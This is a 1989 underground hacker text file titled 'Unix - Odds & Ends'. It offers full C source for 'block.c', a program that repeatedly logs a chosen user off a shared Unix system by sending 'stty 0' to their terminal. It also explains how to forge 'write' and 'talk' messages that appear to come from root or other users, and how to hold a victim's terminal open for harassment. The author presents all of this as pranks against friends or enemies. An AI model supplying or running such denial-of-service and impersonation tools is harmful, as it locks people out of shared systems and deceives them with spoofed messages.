home *** CD-ROM | disk | FTP | other *** search
/ The Hacker Chronicles - A…the Computer Underground / The Hacker Chronicles - A Tour of the Computer Underground (P-80 Systems).iso / chrontmp / unix.arj / UNIX.TXT
Text File  |  1989-01-15  |  9KB  |  231 lines

  1.                                Unix - Odds & Ends
  2.  
  3. --  ------- ----- --- --- ------
  4. 1.  Keeping Users Off The System
  5. --  ------- ----- --- --- ------
  6.  
  7. Now, we all know by now how to log users off (one way is to redirect
  8. an 'stty 0' command to their tty) but unless you have root privs, this
  9. will not work when a user has set 'mesg n' and prevented other users from
  10. writing to their terminal.  But even users who have a 'mesg n' command in
  11. their .login (or .profile or .cshrc) file still have a window of vulnerability,
  12. the time between login and the locking of their terminal.  I designed the
  13. following program, block.c, to take advantage of this fact.
  14.  
  15. To get this source running on your favorite Unix system, upload it,
  16. call it 'block.c', and type the following at the % or $ prompt:
  17.  
  18. cc -o block block.c
  19.  
  20. once you've compiled it successfully, it is invoked like so:
  21.  
  22. block username [&]
  23.  
  24. The & is optional and recommended - it runs the program in the background,
  25. thus letting you do other things while it's at work.
  26.  
  27. If the user specified is logged in at present, it immediately logs
  28. them out (if possible) and waits for them to log in.  If they aren't logged
  29. in, it starts waiting for them.  If the user is presently logged in but
  30. has their messages off, you'll have to wait until they've logged out to
  31. start the thing going.
  32.  
  33. Block is essentially an endless loop : it keeps checking for the occurence
  34. of the username in /etc/utmp.  When it finds it, it immediately logs them
  35. out and continues.  If for some reason the logout attempt fails, the program
  36. aborts.  Normally this won't happen - the program is very quick when run
  37. unmodified.  However, to get such performance, it runs in a very tight
  38. loop and will eat up a lot of CPU time.  Notice that near the end of the
  39. program there is the line:
  40.  
  41. /*sleep(SLEEP)   */
  42.  
  43. the /* and */ are comment delimiters - right now the line is commented
  44. out.  If you remove the comments and re-compile the program, it will then
  45. 'go to sleep' for the number of seconds defined in SLEEP (default is 5)
  46. at the end of every loop.  This will save the system load but will slightly
  47. decrease the odds of catching the user during their 'window of vulnerability.'
  48.  
  49. If you have a chance to run this program at a computer lab at a school or
  50. somewhere similar, run this program on a friend (or an enemy) and watch
  51. the reaction on their face when they repeatedly try to log in and are
  52. logged out before they can do *anything*.  It is quite humorous.  This
  53. program is also quite nasty and can make you a lot of enemies!
  54.  
  55. caveat #1:  note that if you run the program on yourself, you will be logged
  56. out, the program will continue to run (depending on the shell you're under)
  57. and you'll have locked yourself out of the system - so don't do this!
  58.  
  59. caveat #2:  I wrote this under OSx version 4.0, which is a licensed version
  60. of Unix which implements 4.3bsd and AT&T sysV.  No guarantees that it will
  61. work on your system.
  62.  
  63. caveat #3:  If you run this program in background, don't forget to kill
  64. it when you're done with it!  (when you invoke it with '&', the shell will
  65. give you a job number, such as '[2] 90125'.  If you want to kill it later
  66. in the same login session, type 'kill %2'.  If you log in later and want
  67. to kill it, type 'kill 90125'.  Just read the man page on the kill command
  68. if you need any help...
  69.  
  70. ----- cut here -----
  71.  
  72. /* block.c -- prevent a user from logging in
  73.  * by Shooting Shark
  74.  * usage : block username [&]
  75.  * I suggest you run this in background.
  76.  */
  77.  
  78. #include <stdio.h>
  79. #include <utmp.h>
  80. #include <ctype.h>
  81. #include <termio.h>
  82. #include <fcntl.h>
  83.  
  84. #define W_OK2
  85. #define SLEEP5
  86. #define UTMP"/etc/utmp"
  87. #define TTY_PRE "/dev/"
  88.  
  89. main(ac,av)
  90. int ac;
  91. char *av[];
  92. {
  93. int target, fp, open();
  94. struct utmpuser;
  95. struct termio*opts;
  96. char buf[30], buf2[50];
  97.  
  98. if (ac != 2) {
  99. printf("usage : %s username\n",av[0]);
  100. exit(-1);
  101. }
  102.  
  103.  
  104. for (;;) {
  105.  
  106. if ((fp = open(UTMP,0)) == -1) {
  107. printf("fatal error!  cannot open %s.\n",UTMP);
  108. exit(-1);
  109. }
  110.  
  111.  
  112. while (read(fp, &user, sizeof user) > 0) {
  113. if (isprint(user.ut_name[0])) {
  114. if (!(strcmp(user.ut_name,av[1]))) {
  115.  
  116. printf("%s is logging in...",user.ut_name);
  117. sprintf(buf,"%s%s",TTY_PRE,user.ut_line);
  118. printf("%s\n",buf);
  119. if (access(buf,W_OK) == -1) {
  120. printf("failed - program aborting.\n");
  121. exit(-1);
  122. }
  123. else {
  124. if ((target = open(buf,O_WRONLY)) != EOF) {
  125. sprintf(buf2,"stty 0 > %s",buf);
  126. system(buf2);
  127. printf("killed.\n");
  128. sleep(10);
  129. }
  130.  
  131. } /* else */
  132. } /* if strcmp */
  133. } /* if isprint */
  134. } /* while */
  135. close(fp);
  136.  
  137. /*sleep(SLEEP);  */
  138.  
  139. } /* for */
  140.  
  141.  
  142.  
  143.  
  144.  
  145. }
  146.  
  147. ----- cut here -----
  148.  
  149.  
  150. --  ------------- ----- ----- ---- ------  --- ------
  151. 2.  Impersonating other users with 'write' and 'talk'
  152. --  ------------- ----- ----- ---- ------  --- ------
  153.  
  154. This next trick wasn't exactly a work of stupefying genius, but is a
  155. little trick (that anybody can do) that I sometimes use to amuse myself
  156. and, as with the above, annoy the hell out of my friends and enemies.
  157.  
  158. Nearly every Unix system has the 'write' program, for conversing with
  159. other logged-in users.  As a quick summary:
  160.  
  161. If you see that user 'clara' is logged in with the 'who' or 'w' command
  162. or whatever, and you wish to talk to her for some reason or another,
  163. you'd type 'write clara'.  Clara then would see on her screen something
  164. like this (given that you are username 'shark'):
  165.  
  166.  
  167. [3 ^G's] Message from shark on ttyi13 at 23:14 ...
  168.  
  169. You then type away at her, and whatever you type is sent to her terminal
  170. line-by-line.  If she wanted to make it a conversation rather than a
  171. monologue, she'd type 'write shark,' you'd get a message similar to the above
  172. on your terminal, and the two of you would type away at each other to your
  173. little heart's content.  If either one of you wanted to end the conversation,
  174. you would type a ^D.  They would then see the characters 'EOF' on their
  175. screen, but they'd still be 'write'ing to you until they typed a ^D as well.
  176.  
  177. Now, if you're on a bigger installation you'll probably have some sort
  178. of full-screen windowing chat program like 'talk'.  My version of talk
  179. sends the following message:
  180.  
  181. Message from Talk_Daemon@tibsys at 23:14 ...
  182. talk: connection requested by shark@tibsys.
  183. talk: respond with:  talk shark@tibsys
  184.  
  185. Anyway, here's where the fun part begins:  It's quite easy to put a sample
  186. 'write' or 'talk' message into a file and then edit so that the 'from'
  187. is a different person, and the tty is listed differently.  If you see that
  188. your dorky friend roger is on ttyi10 and the root also happens to be
  189. logged on on ttyi01, make the file look something like this:
  190.  
  191. [3 control-G's] Message from root on ttyi01 at [the current time]
  192.  
  193. wackawackawackawackawacka!!!
  194.  
  195. [or a similarly confusing or rude message...]
  196.  
  197. EOF
  198.  
  199. Then, send this file to roger's terminal with:
  200.  
  201. cat filename > /dev/ttyi10
  202.  
  203. He'll get the message on his terminal and wonder what the hell the
  204. superuser is talking about.  He might even 'write' back to the superuser
  205. with the intent of asking 'what the hell are you talking about?'.  For
  206. maximum effectiveness, *simultaneously* send a message to root 'from'
  207. roger at the appropriate terminal with an equally strange message - they'll
  208. then engage in a conversation that will go something like "what did you
  209. mean by that?"  "what do you mean, what do I mean?  What did *you* mean
  210. by that?" etc.  A splendid time is guaranteed for all!  Note that you don't
  211. have to make 'root' the perpetrator of the gag, any two currently logged-in
  212. users who have their terminals open for messages can join in on the fun.
  213.  
  214. Similarly, you can fake a few 'talk' pages from/to two people...they will
  215. then probably start talking...although the conversation will be along the
  216. lines of "what do you want?"  "you tell me."  "you paged me, you tell *me."
  217. etcetera, while you laugh yourself silly or something like that.
  218.  
  219. A variation on the theme:  As I said, when using 'write' you type a ^D to
  220. end the conversation, and the person you're typing at sees an 'EOF' on
  221. their screen.  But you could also just *type* 'EOF', and they'd think
  222. you've quit...but you still have an open line to their terminal.  Even
  223. if they later turn messages off, you still have the ability to write to
  224. their terminal.  Keeping this fact in mind, anybody who knows what they're
  225. doing can write a program similar to my 'block' program above that doesn't
  226. log a user out when they appear on the system, but opens their tty as
  227. a device and keeps the file handle in memory so you can redirect to their
  228. terminal - to write rude messages or to log them out or whatever - at any
  229. time, until they log out.
  230.  
  231.